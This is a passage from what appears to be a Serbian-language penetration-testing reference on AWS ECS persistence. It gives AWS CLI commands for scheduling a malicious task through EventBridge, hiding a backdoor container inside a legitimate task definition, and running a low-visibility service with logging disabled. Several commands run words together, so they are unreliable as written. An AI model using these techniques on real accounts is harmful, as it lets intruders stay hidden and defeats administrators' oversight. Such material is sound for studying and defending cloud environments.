Napadač može kreirati skriveni periodični ECS zadatak koristeći Amazon EventBridge da zakazuje izvršavanje zlonamernog zadatka periodično. Ovaj zadatak može izvršavati izviđanje, eksfiltraciju podataka ili održavati perzistenciju u AWS nalogu.
# Create a malicious task definitionawsecsregister-task-definition--family"malicious-task"--container-definitions'[{"name": "malicious-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": true}]'# Create an Amazon EventBridge rule to trigger the task periodicallyawseventsput-rule--name"malicious-ecs-task-rule"--schedule-expression"rate(1 day)"# Add a target to the rule to run the malicious ECS taskawseventsput-targets--rule"malicious-ecs-task-rule"--targets'[{"Id": "malicious-ecs-task-target","Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster","RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role","EcsParameters": {"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task","TaskCount": 1}}]'
Backdoor kontejner u postojećoj ECS definiciji zadatka
TODO: Test
Napadač može dodati skriveni backdoor kontejner u postojeću ECS definiciju zadatka koji se izvršava zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za postojanost i izvođenje zlonamernih aktivnosti.
# Update the existing task definition to include the backdoor containerawsecsregister-task-definition--family"existing-task"--container-definitions'[{"name": "legitimate-container","image": "legitimate-image:latest","memory": 256,"cpu": 10,"essential": true},{"name": "backdoor-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": false}]'
Nedokumentovana ECS usluga
TODO: Test
Napadač može da kreira nedokumentovanu ECS uslugu koja pokreće zlonamerni zadatak. Postavljanjem željenog broja zadataka na minimum i onemogućavanjem beleženja, postaje teže administratorima da primete zlonamernu uslugu.
# Create a malicious task definitionawsecsregister-task-definition--family"malicious-task"--container-definitions'[{"name": "malicious-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": true}]'# Create an undocumented ECS service with the malicious task definitionaws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"